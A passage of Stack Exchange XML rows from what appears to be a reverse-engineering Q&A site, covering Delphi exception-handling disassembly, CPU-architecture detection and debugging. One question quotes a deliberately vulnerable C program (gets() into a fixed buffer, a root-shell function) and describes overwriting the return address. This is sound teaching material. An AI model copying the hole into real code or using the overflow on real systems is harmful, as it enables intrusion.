  <row Id="2895" PostTypeId="1" AcceptedAnswerId="2896" CreationDate="2013-10-06T23:42:28.683" Score="12" ViewCount="2772" Body="&lt;p&gt;I'm having trouble reverse-engineering a specific Delphi Pascal .exe (old vsn., pre-1995 so probably v.3). From the system calls I understand this is &lt;em&gt;probably&lt;/em&gt; a &lt;code&gt;try..except..finally&lt;/code&gt; block, but I am at a loss finding the 'normal' route through the code, and what the &lt;code&gt;except&lt;/code&gt; and (possibly) &lt;code&gt;finally&lt;/code&gt; blocks are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assembly looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;782CFC  33 C0                   xor    eax, eax&#xA;782CFE  55                      push   ebp&#xA;782CFF  68 (782E37)             push   _FINALLY_A_0_782E37&#xA;782D04  64 FF 30                push   dword ptr fs:[eax]&#xA;782D07  64 89 20                mov    dword ptr fs:[eax], esp&#xA;&#xA;            _try_0_782D0A:&#xA;782D0A  8B D3                   mov    edx, ebx&#xA;782D0C  8B C6                   mov    eax, esi&#xA;782D0E  E8 D1 F3 FF FF          call   ...unrelated...&#xA;782D13  8D 56 1C                lea    edx, [esi+1Ch]&#xA;.. lots of regular code here ..&#xA;.. ending with ..&#xA;782E17  8B 18                   mov    ebx, dword ptr [eax]&#xA;782E19  FF 53 20                call   dword ptr [ebx+20h]&#xA;&#xA;        finally_1_782E1C:&#xA;782E1C  33 C0                   xor    eax, eax&#xA;782E1E  5A                      pop    edx&#xA;782E1F  59                      pop    ecx&#xA;782E20  59                      pop    ecx&#xA;782E21  64 89 10                mov    dword ptr fs:[eax], edx&#xA;782E24  68 (782E3E)             push   _end_1_782E3E&#xA;&#xA;                @block_L:&#xA;782E29  8D 45 F4                lea    eax, [ebp + local_0C]&#xA;782E2C  BA 02 00 00 00          mov    edx, 2&#xA;782E31  E8 12 E3 F7 FF          call   System.@LStrArrayClr&#xA;782E36  C3                      retn&#xA;&#xA;            _FINALLY_A_0_782E37:&#xA;782E37  E9 B4 E2 F7 FF          jmp    System.@HandleFinally&#xA;&#xA;            _FINALLY_B_0_782E3C:&#xA;782E3C  EB EB                   jmp    @block_L&#xA;                ; -------&#xA;&#xA;            _end_1_782E3E:&#xA;782E3E  5F                      pop    edi&#xA;782E3F  5E                      pop    esi&#xA;782E40  5B                      pop    ebx&#xA;782E41  8B E5                   mov    esp, ebp&#xA;782E43  5D                      pop    ebp&#xA;782E44  C3                      retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-- this is output from my own disassembler, but I don't think there are errors in it. The labels have been auto-named, but I still cannot follow the 'logic' (if any) from one block to the next. In particular, the bottom half, right before the function epilogue, confuses me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these fragments enough to reconstruct the original &lt;code&gt;try&lt;/code&gt;..&lt;code&gt;finally&lt;/code&gt; blocks?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;After reading Igor's answer: yes they are. Consider these flowcharts: left, original before special handling of try/finally blocks, right, afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1B6lK.png&quot; alt=&quot;flowcharts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the original flowchart, I considered every jump from one basic block to another as a &lt;em&gt;link&lt;/em&gt;, and the code flow stops at every &lt;code&gt;retn&lt;/code&gt;. &lt;code&gt;if&lt;/code&gt; (E-(F)-K) and &lt;code&gt;if-else&lt;/code&gt; (G-H/I-J) structures can clearly be discerned. However, pushing return addresses and the other 'tricks' of exception handling, defeat this, as can be seen by the dangling blocks N and O -- they 'enter' from nowhere --, and a separate block 'M' which comes and goes from nowhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the right, I separated the &lt;em&gt;initialization&lt;/em&gt; of the exception block from the main code (adding a new block B), and concatenated the &lt;em&gt;finalize&lt;/em&gt; structure into one single new block (M), which ultimately jumps to an AFTER_TRY (which happened to be the last &lt;em&gt;Exit&lt;/em&gt; block). Now it's clear that&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;right after the prologue, a &lt;code&gt;try&lt;/code&gt; is initiated;&lt;/li&gt;&#xA;&lt;li&gt;all code ends up at the &lt;code&gt;finally&lt;/code&gt; block M, which&lt;/li&gt;&#xA;&lt;li&gt;then always exists the code at a single fixed point.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2013-10-07T21:44:11.553" LastActivityDate="2013-10-07T21:44:11.553" Title="Delphi Pascal Try..Except..Finally block" Tags="|disassembly|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2896" PostTypeId="2" ParentId="2895" CreationDate="2013-10-07T11:23:47.010" Score="11" Body="&lt;p&gt;Delphi implements &lt;code&gt;try&lt;/code&gt;/&lt;code&gt;except&lt;/code&gt;/&lt;code&gt;finally&lt;/code&gt; by using Win32 Structured Exception Handlers (SEH). The basics of SEH are explained in the &lt;a href=&quot;http://www.microsoft.com/msj/0197/Exception/Exception.aspx&quot; rel=&quot;noreferrer&quot;&gt;classic article by Matt Pietrek&lt;/a&gt;, so I'll skip to the details relevant to Delphi only.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1. &lt;code&gt;try&lt;/code&gt; entry&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Entry to a &lt;code&gt;try&lt;/code&gt; block, or a block which protects automatic variables that need to be destructed on exit (such as strings) looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor     eax, eax&#xA;push    ebp&#xA;push    offset SEH_HANDLER&#xA;push    dword ptr fs:[eax]&#xA;mov     fs:[eax], esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a typical way of setting up a SEH frame. After it's run, top of the stack will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       +-----------+&#xA;ESP+00 |    next   | &amp;lt;- fs:[0] points here&#xA;       +-----------+&#xA;ESP+04 |  handler  |&#xA;       +-----------+&#xA;ESP+08 | saved_ebp |&#xA;       +-----------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pointer to this structure will be passed to the SEH handler.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. &lt;code&gt;try&lt;/code&gt; exit&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;At the end of the &lt;code&gt;try&lt;/code&gt; block, the SEH frame is torn down:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    xor     eax, eax&#xA;    pop     edx               ; pop 'next' into edx&#xA;    pop     ecx               ; pop handler&#xA;    pop     ecx               ; pop saved_ebp&#xA;    mov     fs:[eax], edx     ; move 'next' into fs:[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is a &lt;code&gt;finally&lt;/code&gt; handler or automatic destructors, then it continues like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    push    offset AFTER_TRY  ; make it so the 'ret' will jump to AFTER_TRY&#xA;FINALLY_HANDLER:&#xA;    &amp;lt;destruct automatic variables created in the try block&amp;gt;&#xA;    &amp;lt;finally handler body&amp;gt;&#xA;    ret                       ; jumps to AFTER_TRY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise there is a simple jump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jmp AFTER_TRY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;3. &lt;code&gt;finally&lt;/code&gt; handler&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In case the program use &lt;code&gt;finally&lt;/code&gt; statement, or in case of the &lt;code&gt;try..finally&lt;/code&gt; added by the compiler to guard automatic variables, the SEH handler looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEH_HANDLER:&#xA;    jmp     _HandleFinally&#xA;    jmp     FINALLY_HANDLER&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;4. &lt;code&gt;except&lt;/code&gt; handler&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If the program uses an &lt;code&gt;except&lt;/code&gt; handler to catch all exceptions, the code looks a little different:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEH_HANDLER:&#xA;    jmp     _HandleAnyException&#xA;    &amp;lt;handler code&amp;gt;&#xA;    call    _DoneExcept&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;5. &lt;code&gt;except on&lt;/code&gt; handlers&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If the program uses &lt;code&gt;except on...&lt;/code&gt; to match the exception(s) being caught, the compiler generates a table of one or more possible exception classes with corresponding handlers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEH_HANDLER:&#xA;    jmp     _HandleOnException&#xA;    dd &amp;lt;numExceptions&amp;gt;&#xA;    dd offset ExceptionClass1&#xA;    dd offset OnException1_handler&#xA;    dd offset ExceptionClass2&#xA;    dd offset OnException2_handler&#xA;    &amp;lt;...&amp;gt;&#xA;&#xA;OnException1_handler:&#xA;    &amp;lt;handler code&amp;gt;&#xA;    call    _DoneExcept&#xA;&#xA;OnException2_handler:&#xA;    &amp;lt;handler code&amp;gt;&#xA;    call    _DoneExcept&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There may be some variations, but I think I covered most of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code of &lt;code&gt;_HandleFinally&lt;/code&gt;, &lt;code&gt;_HandleAnyException&lt;/code&gt;, &lt;code&gt;_HandleOnException&lt;/code&gt;, &lt;code&gt;_DoneExcept&lt;/code&gt; and a few other exceptions-related functions can be found in &lt;code&gt;system.pas&lt;/code&gt; in the VCL sources.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-10-07T15:26:47.243" LastActivityDate="2013-10-07T15:26:47.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2897" PostTypeId="1" AcceptedAnswerId="2900" CreationDate="2013-10-08T11:41:41.500" Score="25" ViewCount="8894" Body="&lt;p&gt;Assuming that I have binary file with code for an unknown CPU, can I somehow detect the CPU architecture? I know that it depends mostly on the compiler, but I think that for most CPU architectures it should be a lot of CALL/RETN/JMP/PUSH/POP opcodes (statistically more than others). Or maybe should I search for some patterns in code specific for a particular CPU (instead of opcode occurrences)?&lt;/p&gt;&#xA;" OwnerUserId="2836" LastEditorUserId="17952" LastEditDate="2022-10-06T19:23:28.663" LastActivityDate="2022-11-29T07:16:03.433" Title="Tool or data for analysis of binary code to detect CPU architecture" Tags="|binary-analysis|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="2898" PostTypeId="2" ParentId="2897" CreationDate="2013-10-08T13:05:06.993" Score="16" Body="&lt;p&gt;There are some tools that can scan binary files for common opcodes found in various architectures. &lt;a href=&quot;http://binwalk.googlecode.com&quot;&gt;Binwalk&lt;/a&gt;'s -A option does this for example (it scans for ARM/MIPS/x86 and several other architectures). &lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-10-08T13:05:06.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2899" PostTypeId="2" ParentId="2897" CreationDate="2013-10-08T13:12:29.107" Score="10" Body="&lt;p&gt;Typically, I try the most common CPUs first (ARM, PPC, MIPS and AVR), try to find if any of the plain strings says something about the processor, etc... And, when all else fail, I give a try to what you're asking for: statistical analysis of opcodes (if I'm sure it isn't neither encrypted nor compressed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you to read the Alexander Chernov and Katerina Troshina presentation &lt;a href=&quot;http://www.recon.cx/2012/schedule/attachments/40_Chernov-Troshina.pdf&quot;&gt;&quot;Reverse engineering of binary programs for custom virtual machines&quot;&lt;/a&gt;. Writing a tool like the one they wrote must be very hard (I guess) but writing a tool to try to determine which CPU seems to be compiled for using the techniques described in that presentation is not that hard (as long as you can collect enough samples for multiple different architectures).&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-10-08T13:12:29.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2900" PostTypeId="2" ParentId="2897" CreationDate="2013-10-08T16:24:59.363" Score="16" Body="&lt;p&gt;&lt;em&gt;When you have a hammer, all the problems look like nails...&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I´ve studied something called Normalized Compression Distance - &lt;a href=&quot;http://en.wikipedia.org/wiki/Normalized_Compression_Distance#Normalized_compression_distance&quot; rel=&quot;nofollow noreferrer&quot;&gt;NCD&lt;/a&gt;  - some time ago, and I'd give it a try if I had a problem similar to yours.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I'd make a database of examples. I would take 20 programs for each architecture you want to know, with variable sizes, and save them.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When confronted with a program that I wanted to know which architecture it is, I'd compute its NCD against all my examples.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'd pick the best (smaller) NCD and would then verify it if is was a real match (let's say, trying to run it on the discovered architecture).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've always done this &lt;em&gt;by hand&lt;/em&gt;, when it comes to NCD. How I did it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you have 20 files for SPARC and you call them A01, A02, A03, and so on. Your x86 files: B01, B02, etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You get the unknown file and call it XX.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose your preferred compression tool (I used Gzip, but see remarks at the end of this answer).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Calculate NCD for the first pair:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;NCD(XX,A01) = ( Z(XX+A01) - min(Z(XX), Z(A01) ) / max(Z(XX), Z(A01))&lt;/p&gt;&#xA;&lt;p&gt;Z(&lt;i&gt;something&lt;/i&gt;) means that you compress the &lt;em&gt;something&lt;/em&gt; with Gzip and get the file size after compression. For example, 8763 bytes, so Z(&lt;i&gt;something&lt;/i&gt;) = 8763.&lt;/p&gt;&#xA;&lt;p&gt;XX + A01 -&amp;gt; means that you concatenate things. You append the A01 file to the end of the XX file. In Linux, you could do a &lt;code&gt;cat XX A01 &amp;gt; XXA01&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;min() and max() -&amp;gt; you calculate the compressed size of XX and A01, and use the minimum and maximum that you get.&lt;/p&gt;&#xA;&lt;p&gt;So you'll have a NCD value: it'll lie between 0 and 1, and use as many decimals places as you can, because sometimes the difference is in the 7th or 8th digit. It'll be like comparing 0.999999887 to 0.999999524.&lt;/p&gt;&#xA;&lt;p&gt;You'll do that for every file, so you'll have 20 NCD results for SPARC, 20 for x86...&lt;/p&gt;&#xA;&lt;p&gt;Get the smaller NCD of all. Let's say that the B07 file gave you the smaller NCD. So, probably, the unknown file is a x86.&lt;/p&gt;&#xA;&lt;p&gt;Tips:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;your unknown and your test files must have a similar size. When you compare a file with bigger or smaller ones, NCD won't do its magic. So, if you'll be testing files of 5 to 10k, I'd get test files of 2.5k, 5k, 7.5k, 10k, 12.5k ...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In my Master's degree I got better results always using the smaller NCD value. The second best method was to do some voting: get the 5 smaller NCD results, and see which architecture got more votes. Ex.: smaller NCD were A03, A05, B02, B06, B07 -&amp;gt; B go 3 votes, so I'd say it's a x86...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;compressors based on the Zip construction have a limitation of 32kB: the way they compress things, they just consider 32kB at time. If your XX + A01 is bigger than this, Gzip, Zip, etc., won't give you good results. So, for files that are bigger than 15 or 16kB, I'd choose another compressor: PPMD, Bzip...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1437" LastEditorUserId="17952" LastEditDate="2022-11-29T07:16:03.433" LastActivityDate="2022-11-29T07:16:03.433" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="2901" PostTypeId="2" ParentId="2897" CreationDate="2013-10-08T20:37:09.100" Score="11" Body="&lt;p&gt;My lazy hack: a small Python script which calculates bigram and trigram counts. I then search for a couple of the most common sequences on Google (quoted hex). Quite often I manage to find some hex dumps and can figure the CPU from the context. It would work even better if Google could search by raw binary values...&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-10-08T20:37:09.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2904" PostTypeId="1" AcceptedAnswerId="2905" CreationDate="2013-10-09T19:39:24.000" Score="12" ViewCount="646" Body="&lt;p&gt;This C++ binary has code snippets and paths to sourcecode files everywhere, which is probably some sort of debug info. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this something standard? (Is this RTTI)&lt;/li&gt;&#xA;&lt;li&gt;If so, how is this called?&lt;/li&gt;&#xA;&lt;li&gt;Are there plugins/tools to help with this?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YYXtD.png&quot; alt=&quot;IDA Screenshot of debug info&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-10-09T23:54:52.420" Title="Are those code snippets and file paths in a C++ binary some sort of standard debug information?" Tags="|ida|c++|debugging-symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2905" PostTypeId="2" ParentId="2904" CreationDate="2013-10-09T20:09:05.443" Score="15" Body="&lt;p&gt;It has the fingerprint of an &lt;code&gt;assert&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;it's called directly after a test;&lt;/li&gt;&#xA;&lt;li&gt;it uses a number -- probably a &lt;em&gt;source line number&lt;/em&gt; --, a string which points to a file name -- the &lt;em&gt;source file&lt;/em&gt; -- and a string that describes an error condition;&lt;/li&gt;&#xA;&lt;li&gt;it does not return. (Can be inferred because the inspected value would lead to an erronous situation if the called function returned.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;assert&lt;/code&gt; is a standard function in most (if not outright all!) standard libraries, and so if your decompiler could recognize which compiler was used, it would have assigned a standard label to &lt;code&gt;sub_6E0D40&lt;/code&gt;. Since it didn't, you could trace that address and see if (a) it jumps immediately to an external routine such as Windows' native &lt;code&gt;Assert&lt;/code&gt;, or (b) does what an assert does: outputting the error and immediately exiting.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Addition: using the stack plus registers ecx and edx seem to indicate this sub is declared &quot;Microsoft &lt;code&gt;__fastcall&lt;/code&gt;&quot; (&lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_fastcall&quot;&gt;wikipedia&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2013-10-09T23:54:52.420" LastActivityDate="2013-10-09T23:54:52.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2906" PostTypeId="2" ParentId="2420" CreationDate="2013-10-10T03:36:30.617" Score="9" Body="&lt;p&gt;DCoders answer is great, but other reasons include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function might have the body #ifdef'ed out in release verse debug, but the function call is left to avoid changing the flow of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example is debug print functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason is to allow for patching. This one is pretty weak.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2013-10-10T03:36:30.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2907" PostTypeId="1" AcceptedAnswerId="4511" CreationDate="2013-10-10T04:08:40.120" Score="4" ViewCount="269" Body="&lt;p&gt;Original question asked on Stackoverflow: &lt;a href=&quot;https://stackoverflow.com/questions/14976139/can-the-r-be-removed-from-a-function-stack&quot;&gt;Can the 'r' be removed from a function stack ?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to modify the processor for the Fujitsu FR, and IDA by default inserts the return variable &lt;code&gt;r&lt;/code&gt; on each stack, but the Fujitsu FR processor does not put &lt;code&gt;r&lt;/code&gt; as the first item, so this stuffs up the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can't workout is: in the processor plugin, what needs overriding to resolve this, or if any of the example processors have solutions to copy. &lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-06-03T04:56:30.247" Title="Can the 'r' be removed from a function stack" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2909" PostTypeId="2" ParentId="2372" CreationDate="2013-10-10T16:23:00.430" Score="1" Body="&lt;p&gt;I haven't done a lot with NFC, but I recommend starting the same way I did.  Start at the hardware level and then work up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware:&#xA; + BladeRF (I think it works with NFV)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Misc Extra tags (get different ones from different vendors)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Software:&#xA; + nfcinteractor (android)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check out: &#xA;www.securitytube.net/video/8029&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a really good talk on NFC related research.&lt;/p&gt;&#xA;" OwnerUserId="2382" LastActivityDate="2013-10-10T16:23:00.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2910" PostTypeId="2" ParentId="2856" CreationDate="2013-10-11T09:49:13.523" Score="2" Body="&lt;p&gt;After some hands on experience here what I can suggest regarding debugging self-debugging processes. Here I take the assumption that the self-debugging is implemented based on Windows Debug APIs. So, here are my findings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In &quot;debugger&quot; process:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Attach/run with your debugger the process you want to study&lt;/li&gt;&#xA;&lt;li&gt;Look for a call to CreateProcess API with the flags &lt;strong&gt;DEBUG_ONLY_THIS_PROCESS&lt;/strong&gt; or &lt;strong&gt;DEBUG_PROCESS&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Follow to the closest call to &lt;strong&gt;WaitForDebugEvent&lt;/strong&gt;. Usually this will be a loop for processing of all the debug event that will come from the debug-gee.&lt;/li&gt;&#xA;&lt;li&gt;Once the event processing region was found, all is needed is to check what event exactly is being processed. Check your event according to &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms679308%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In several cases there will be pair call to Get/SetThreadContext. So analyzing the structure before the SetThreadContext is called, one can actually see what region of the debug-gee was altered (if you did not know it already). &lt;/li&gt;&#xA;&lt;li&gt;After all the alternations, there will be finally call to ContinueDebugEvent/ZwContinue. Until it was called the debug-gee is in freeze for the inspection.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In &quot;debug-gee&quot; process:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Attach WinDbg to it in non-invasive mode to inspect what was changed.&lt;/li&gt;&#xA;&lt;li&gt;Make your notes before continue.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this will help.&#xA;Your comments are more than welcome.  &lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2013-10-11T09:49:13.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2911" PostTypeId="1" AcceptedAnswerId="2912" CreationDate="2013-10-12T14:54:51.987" Score="9" ViewCount="1294" Body="&lt;p&gt;some days ago I took this piece of code from opensecuritytraining.info to test a buffer overflow exploitation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;char *secret = &quot;pepito&quot;;&#xA;&#xA;void go_shell(){&#xA;    char *shell = &quot;/bin/sh&quot;;&#xA;    char *cmd[] = { &quot;/bin/sh&quot;, 0 };&#xA;    printf(&quot;¿Quieres jugar a un juego?...\n&quot;);&#xA;    setreuid(0);&#xA;    execve(shell,cmd,0);&#xA;}&#xA;&#xA;int authorize(){&#xA;    char password[64];&#xA;    printf(&quot;Escriba la contraseña: &quot;);&#xA;    gets(password);&#xA;    if (!strcmp(password,secret))&#xA;        return 1;&#xA;    else&#xA;        return 0;&#xA;}&#xA;&#xA;int main(){&#xA;    if (authorize()){&#xA;        printf(&quot;Acceso permitido\n&quot;);&#xA;        go_shell();&#xA;    } else{&#xA;        printf(&quot;Acceso denegado\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first test before injecting a shellcode was trying to execute the go_shell function without knowing the password, overflowing the return address of main function and pointing it to the location of go_shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand the stack is divided as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[STACK] {Return_address}{EBP}{password_buffer(64)}...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So If I store in password_buffer 68 bytes plus the address of go_shell it should overwrite the return address and execute the desired function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[STACK] {4bytes (Location of go_shell)}{EBP(4 Bytes of junk)}{password_buffer(64)(64 bytes of junk)}...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem here is that I need to fill the buffer with 76 bytes of junk plus 4 bytes of the address to actually override the return address and point %eip to go_shell. What I don't understand is where do those additional 8 bytes come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the GDB output before injecting 74 A (0x41) + the address in a breakpont at line if (!strcmp(password,secret)):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EBP:&#xA;0xbffff4a8: 0x41414141  0x0804851c&#xA;&#xA;AAAA + memory_address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And continuing to go_shell execution (Breakpoint at void go_shell(){ ):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EIP now points to the last return address overwrited:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/2x $eip&#xA;0x804851c &amp;lt;go_shell&amp;gt;:   0x83e58955  0x45c728ec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help understanding this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="2197" LastActivityDate="2013-10-12T16:22:59.133" Title="Understanding this Buffer Overflow exploitation" Tags="|c|exploit|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2912" PostTypeId="2" ParentId="2911" CreationDate="2013-10-12T15:57:56.167" Score="13" Body="&lt;p&gt;If you look at the disassembly of authorize() I'm sure you'll find that the compiler is pushing and restoring more registers than just EBP or aligning the stack. I would recommend that you always look at the disassemly when dealing with overflows of various kinds. The compiler and decompiler, if you use one, hides a lot of details. The disassembly never lies and allows you to make a prediction without resorting to dynamic analysis. I'm a strong proponent of learning with static methods when you're just starting out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, whether there's more registers, a stack canary, stack alignment or something else, the disassembly of authorize() will reveal the answer to your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your reference this is the dissembly of the authorize() function using GCC 4.7.3 with -O2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;push    ebx&#xA;sub     esp, 58h&#xA;lea     ebx, [esp+5Ch+password]&#xA;mov     [esp+5Ch+arg0], &quot;Escriba la contrase&quot;&#xA;call    _printf&#xA;mov     [esp+5Ch+arg0], ebx&#xA;call    _gets&#xA;mov     eax, secret&#xA;mov     [esp+5Ch+arg0], ebx&#xA;mov     [esp+5Ch+arg1], eax&#xA;call    _strcmp&#xA;test    eax, eax&#xA;setz    al&#xA;add     esp, 58h&#xA;movzx   eax, al&#xA;pop     ebx&#xA;retn&#xA;&lt;/pre&gt; &#xA;&#xA;&lt;p&gt;You'll notice that it doesn't use push to move arguments, ebp is unused as a stack 